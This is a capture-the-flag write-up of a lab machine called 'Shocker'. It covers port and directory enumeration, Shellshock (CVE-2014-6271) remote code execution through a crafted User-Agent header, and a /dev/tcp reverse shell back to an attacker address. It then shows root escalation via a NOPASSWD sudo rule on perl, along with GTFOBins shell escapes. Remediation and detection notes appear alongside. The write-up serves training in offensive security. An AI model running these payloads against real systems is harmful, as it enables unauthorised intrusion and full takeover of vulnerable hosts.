Shocker
Summary
I discovered an unpatched Apache CGI script and exploited the decade-old Shellshock vulnerability (CVE-2014-6271) to execute arbitrary operating-system commands as the local user 'shelly'. From that foothold I found that shelly could run Perl as root without entering a password — a single GTFOBins one-liner then gave full root access and the ability to read every file on the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan with service and version detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txtBrute-force directories and CGI extensions to find /cgi-bin/user.sh.
$ gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi --status-codes-blacklist 404Second pass targeting the cgi-bin path specifically to enumerate available scripts.
$ gobuster dir -u http://$TARGET/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,cgi,plExact commands 1
Proof-of-concept: the 'id' command runs on the server and its output is returned in the HTTP response body, confirming unauthenticated RCE.
$ curl -sS -m 8 -A '() { :;}; echo; /usr/bin/id' http://$TARGET/cgi-bin/user.shFixPatch Bash against Shellshock and restrict or disable CGI executionCritical
Exact commands 2
Start the listener on my machine (LHOST $ATTACKER_IP) before firing the payload.
$ nc -lvnp 4444Shellshock payload that redirects a Bash interactive shell to me over TCP.
$ curl -sS -m 8 -A "() { :;}; echo; /bin/bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" http://$TARGET/cgi-bin/user.shExact commands 1
Recursively locate user.txt and print it; actual -> <user.txt>
$ find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;Exact commands 1
List effective sudo rules for the current user. The NOPASSWD: /usr/bin/perl line is the escalation path.
$ sudo -l
(root) NOPASSWD: /usr/bin/perlFixRemove NOPASSWD sudo rights for general-purpose scripting interpretersCritical
Exact commands 2
Runs Perl as root with no password prompt. Outputs uid=0 confirmation and root.txt value (<root.txt>).
$ sudo -n /usr/bin/perl -e 'print qx(id); print qx(cat /root/root.txt 2>/dev/null);'Alternative: spawns a full interactive root shell for persistent access during the engagement.
$ sudo /usr/bin/perl -e 'exec "/bin/bash";'Attack patterns used
The transferable techniques behind this compromise.
Shellshock (Bash CGI RCE)Web · Service RCET1190CVE-2014-6271
What it is
Shellshock abuses a flaw in GNU Bash's parsing of environment variables: a variable whose value begins with a function definition (() { :;};) is followed by trailing commands that Bash executes immediately on startup. When a web server runs a CGI script via Bash, externally controlled HTTP headers (commonly User-Agent or Cookie) are exported into the environment, so the trailing payload runs as the web user.
Why it works
CGI scripts pass request metadata into the shell environment by design, and pre-patch Bash executed the trailing code unconditionally. Any internet-facing cgi-bin endpoint backed by Bash was exploitable without authentication. Remediation is patching Bash and retiring Bash-CGI; detection is trivial via the () { :;} signature in request logs.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.